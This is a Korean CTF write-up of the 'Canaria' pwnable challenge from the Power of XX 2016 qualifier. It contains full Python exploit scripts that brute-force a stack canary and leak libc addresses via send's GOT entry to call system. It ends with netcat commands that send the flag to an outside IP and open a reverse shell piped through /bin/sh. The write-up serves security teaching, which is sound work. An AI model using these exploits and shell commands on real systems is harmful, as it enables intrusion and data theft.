By puing | November 15, 2016
Canaria(150pt)
2016 Power of XX 예선전에 나왔던 pwnable 문제입니다. 여러모로 입문하시는 분들이 풀고 공부하기 좋은 문제인 것 같아, 롸업을 퍼다 날라봅니다.
풀이 할 문제는 Canaria 라는 문제입니다. 문제 화면은 아래와 같습니다.
zip 파일을 보면 canaria 바이너리와 libc.so.6
파일이 있습니다.
먼저 canaria 바이너리를 실행해봅시다.
아무런 반응이 없네요.
헥스레이로 열어봅시다.
포트 9797 을 열고 기다리는 중이네요.(그래서 canaria 를 실행했을 때 아무런 반응이 없었던 것..)
실제로 9797 포트가 열려있습니다. 9797 포트로 접속해봅시다.
Do you know kimchi??
를 출력해줍니다. 또한 사용자로부터 입력을 받네요.
handle 함수 내용안에 Do you know kimchi?? 를 보내주는 곳이 있습니다.
정확히는
Do you know kimchi??
recv(sockfd, buf[256], 2048, 0):
위 문자열들을 전송하고 recv 함수로 입력을 기다리고 있습니다.
아무 문자열 aaaa 를 입력해봅시다.
aaaa 라는 문자열을 받고 handle 함수에서 main 함수로 돌아가
Yes! I love bulgogi, kimchi, Ji Sung Park, Yuna Kim, Psy, and I love Galaxy S7!
위 문자열들을 전송하고 exit(0) 를 통해 프로그램이 종료됩니다.
handle 함수를 자세히 봅시다.
buf 의 크기는 256byte 이지만 recv 함수에서 2048byte 만큼 받게 해놨기때문에 256byte 이상 입력할 수 있습니다.
256byte 이상 입력을 하면 입력한 만큼 overflow 가 일어나겠네요.
여기서 스택 상황을 생각 해 봅시다.
buf[256 byte] + v3[4 byte] + something[4 byte] + ebp[4 byte] + return address[4 byte]
이런 구조를 가진 상황에서 268byte(buf + v3 + something + ebp)
의 임의의 값을 입력하고 원하는 주소를 입력하면 return address 를 덮기 때문에 원하는 주소로 갈 수 있게 됩니다.
그런데 return address 를 덮기전에 canary 를 우회해야합니다.
canary 란?
메모리 보호 기법 중 하나.
랜덤 값인 canary 를 ebp 와 지역 변수 사이에 위치시킵니다.
함수가 시작할 때 canary 값을 저장하고, 함수가 끝나기 전에 canary 값이 변조됐는지 여부를 체크합니다.
buffer overflow 를 시도해서 return address 를 덮으려고 할 경우에, canary 값까지 덮어버리면 함수가 끝나기 전에 canary 값이 변조된 것을 보고 프로그램을 종료시키게 됩니다.
a 를 272 개 입력해보았습니다.
canary 값이 덮어졌기 때문에 바로 종료가 돼서 Yes! I love bulgogi, kimchi, Ji Sung Park, Yuna Kim, Psy, and I love Galaxy S7!
이 문자열이 보이지 않습니다.
canary 값을 우회해봅시다. canary 값은 4byte 입니다.
저는 1byte 씩 브루트포싱을 하면서 canary 값을 알아냈습니다.
여기서 canary 값을 알아내기 위해 이용할 수 있는 것은 Yes! I love bulgogi, kimchi, Ji Sung Park, Yuna Kim, Psy, and I love Galaxy S7!
이 문자열 입니다.
canary 값이 변조되었다면 위 문자열을 받을 수 없겠죠.
하지만 canary 값이 변조되지 않았다면 위 문자열을 받을 수 있을 겁니다. 1byte 씩 브루트포싱해,서 위 문자열을 받았느냐 안 받았느냐를 체크하면서 canary 값을 맞춰가는 겁니다.
canary 값이 0xaabbccdd
라고 가정해봅시다.
0xaabbcc00, 0xaabbcc01, 0xaabbcc02 이런 식으로 하나씩 브르투포싱을 해나가는 겁니다.
올바른 canary 값으로 덮었다면 Yes! ~~ 이 문자열을 볼 수 있을테고, 올바른 canary 값이 아니라면 프로그램이 종료되었기 때문에 Yes! ~~ 이 문자열을 볼 수 없을 겁니다.
1byte 씩 브루트포싱을 하고 Yes! ~~ 문자열을 받았는지 안 받았는지 체크를 하면서 올바른 canary 값을 찾을 수 있게 됩니다.
위 방법을 이용해서 canary 값을 알아내기 위해 짠 코드는 다음과 같습니다. cd80
님의 MEMORY LEAK TECHNIQUES문서를 참고했습니다.
MEMORY LEAK TECHNIQUES
from socket import *
payload = ""
payload += "a"*256
def conn():
s = socket(AF_INET, SOCK_STREAM)
s.connect(("127.0.0.1", 9797))
return s
first = second = third = fourth = 0x00
for first in range(0x00, 0xff):
s = conn()
data = s.recv(100)
s.send(payload + chr(first))
data = s.recv(100)
if data.find("Yes") != -1:
print "0x%02x"%first
s.close()
break
for second in range(0x00, 0xff):
s = conn()
data = s.recv(100)
s.send(payload + chr(first) + chr(second))
data = s.recv(100)
if data.find("Yes") != -1:
print "0x%02x"%second
s.close()
break
for third in range(0x00, 0xff):
s = conn()
s.recv(100)
s.send(payload + chr(first) + chr(second) + chr(third))
data = s.recv(100)
if data.find("Yes") != -1:
print "0x%02x"%third
s.close()
break
for fourth in range(0x00, 0xff):
s = conn()
s.recv(100)
s.send(payload + chr(first) + chr(second) + chr(third) + chr(fourth))
data = s.recv(100)
if data.find("Yes") != -1:
print "0x%02x"%fourth
s.close()
break
canary = (fourth*0x1000000) + (third*0x10000) + (second*0x100) + first
print "0x%08x"%canary
알아낸 canary 값을 가지고 return address 를 덮어봅시다.
#!/usr/bin/evn python
from socket import *
from struct import pack, unpack
p = lambda x : pack("<L",x)
canary = 0x2f7b3200
something = 0x60606060
ebp = 0x61616161
returnaddr = 0x62626262
payload = ""
payload += "a"*256
payload += p(canary)
payload += p(something)
payload += p(ebp)
payload += p(returnaddr)
def conn():
s = socket(AF_INET, SOCK_STREAM)
s.connect(("127.0.0.1", 9797))
return s
s = conn()
data = s.recv(100)
raw_input(">>")
s.send(payload)
올바른 canary 값이 들어갔기 때문에, stack smashing detected 가 뜨지 않습니다.
그리고 의도했던 대로 return address 주소에 0x62626262 가 들어가게 됩니다.
return address 주소에 다른 함수 주소를 넣어보도록 합니다.
리모트 환경이기 때문에 다른 함수 주소를 단 번에 알기는 어렵습니다.
(함수가 어디에 있는지 알 수 없기 때문이에요.)
하지만 libc 파일이 주어졌습니다.
이걸 이용해서 알아내보도록 합시다.
return address 주소에 send 함수의 주소를 넣습니다.
send 함수 원형
- send(int sockfd, const void*buf, size_t len, int flags)
sockfd
: 파일 디스크립터buf
: 전송할 데이터가 있는 주소len
: 전송할 데이터 길이flags
: 함수의 호출이 어떤일을 할지 나타내는 플래그(여기서는 크게 중요하지 않습니다.)
send 함수 인자중 buf 자리에 send 함수의 got 주소를 넣으면 실제 send 함수 주소를 보내줄것입니다.
send 함수의 plt
주소와 got
주소는 각각 0x0804620
, 0x0804a050
입니다.
아래와 같은 페이로드를 작성하여 실행 해 봅시다.
#!/usr/bin/evn python
from socket import *
from struct import pack, unpack
p = lambda x : pack("<L",x)
canary = 0x2f7b3200
something = 0x60606060
ebp = 0x61616161
returnaddr = 0x62626262
sendplt = 0x08048620
sendgot = 0x0804a050
payload = ""
payload += "a"*256
payload += p(canary)
payload += p(something)
payload += p(ebp)
payload += p(sendplt)
payload += "\x11\x22\x33\x44" # dummy
payload += "\x04\x00\x00\x00" #fd
payload += p(sendgot)
payload += "\x04\x00\x00\x00" #length
payload += "\x00\x00\x00\x00" #flag
def conn():
s = socket(AF_INET, SOCK_STREAM)
s.connect(("127.0.0.1", 9797))
return s
s = conn()
data = s.recv(100)
raw_input(">>")
s.send(payload)
data = s.recv(100)
print hex(unpack("<L",data)[0])
결과는 다음과 같습니다.
return address 에 send plt 주소가 잘 들어갔고, send 함수 인자가 넣어준 대로 순서에 맞게 잘 들어가있습니다.
결과를 보면 send 함수의 실제 주소를 보내줍니다.
이제 send 함수 주소를 가지고 read 함수와 system 함수 주소를 알아봅니다.
libc 파일을 보면 offset 주소를 알 수 있습니다.
전 제가 가지고 있던 libc 파일을 참고했습니다.
send
, read
, system
함수 주소의 offset 들 입니다.
send 함수의 offset 은 ed450, read 함수의 offset 은 dabd0, system 함수의 offset 은 40190 입니다. read 함수의 주소를 알아내려면 먼저 send 함수의 offset 과 read 함수의 offset 을 가지고 얼마나 떨어져 있는지를 구합니다.
ed450 – dabd0 = 12880, 따라서 0xb7699450 – 12880 = 0xb7686bd0
이 read 함수의 주소가 됩니다.
이런 식으로 system 함수 주소는 0xb75ec190
이라는 것을 알아낼 수 있습니다.
system 함수로 cat flag 라는 명령어를 실행시켜줄 겁니다.
system 함수 주소를 알아냈으니 system 함수를 호출하는건 할 수 있습니다. 하지만 cat flag 라는 문자열은 어디서 구할까요?
read 함수
를 이용해 직접 cat flag 를 입력해줄겁니다.
read 함수 원형
- read(int fd, void *buf, size_t nbytes)
fd
: 파일 디스크립터buf
: 읽은 값들을 저장하는 버퍼nbytes
: 버퍼의 크기
read 함수를 통해 한 번 입력을 받게끔 만들어 준 다음, cat flag 문자열을 입력하고 cat flag 문자열이 있는 곳을 system 함수 인자로 넣어줍니다. 그러면 system 함수로 cat flag 를 실행할 수 있게 되겠죠.
#!/usr/bin/evn python
from socket import *
from struct import pack, unpack
p = lambda x : pack("<L",x)
canary = 0x2f7b3200
something = 0x60606060
ebp = 0x61616161
system = 0xb75ec190
read = 0xb7686bd0
payload = ""
payload += "a"*256
payload += p(canary)
payload += p(something)
payload += p(ebp)
payload += p(read)
payload += p(system)
payload += "\x04\x00\x00\x00" #fd
payload += "\x00\x00\xd3\xbf" #buf
payload += "\x3d\x00\x00\x00" #nbyte
def conn():
s = socket(AF_INET, SOCK_STREAM)
s.connect(("127.0.0.1", 9797))
return s
s = conn()
s.send(payload)
s.send("cat flag" + "\x00" + "\n")
위 코드 내용대로 실행하면 스택 상황은 아래와 같이 됩니다.
return address 주소에 read 함수가 들어가게되고 read 함수를 통해 입력을 받습니다.
위 코드 맨 마지막 줄에서 cat flag 문자열을 보내면, buf 에 cat flag 라는 문자열이 들어가게 되고 read 함수가 종료되고 system 함수가 실행될 때, buf 를 인자로 가지게 됩니다.
buf 에는 cat flag 문자열이 담겨있고 결과적으로 cat flag 가 실행되게 됩니다.
하지만 위 코드 내용을 담은 파일을 실행해도 flag 내용이 보이지 않습니다.
제 터미널에 flag 내용이 보이도록 위 코드 내용중 맨 마지막 줄을 수정해봅시다.
cat flag 뒤에 더 내용을 추가해서 보내봅시다.
cat flag | nc [ip 주소] [port 번호]
이렇게 입력을 하면, flag 의 내용이 뒤에 가리키는 ip 주소의 port 로 전송이 됩니다.
1234 포트를 열어주고 flag 내용을 이 곳으로 보내게 해봅시다.
s.send("cat flag | nc 192.168.254.144 1234" + "\x00" + "\n")
이런 식으로 cat flag 를 실행하고 flag 내용을 볼 수 있게 됩니다.
해당 위치에 flag 가 없을 경우
cat flag 말고 /bin/sh
을 실행하려고 할 경우 system 함수 인자만 바꿔주면 /bin/sh 을 실행시켜줄 수 있습니다.
cat flag | nc 192.168.254.144 1234
이 부분을 nc [ip 주소] [port 번호] | /bin/sh | nc [ip 주소] [port]
로 바꿔주면 됩니다.
이런 식으로 소스를 고쳐봅시다.
위와 같이 port 를 열고 실행해보면,
nc 192.168.254.144 1234 | /bin/sh | nc 192.168.254.144 5678
위 문자열들이 system 함수의 인자로 들어갈 것 입니다.
그리고 1234 port 를 열어둔 곳에서 명령어를 치면 명령어에 대한 결과가 5678 port 를 열어둔 곳으로 전달이 됩니다. 명령어 실행 결과를 볼 수 있게 되는것이죠.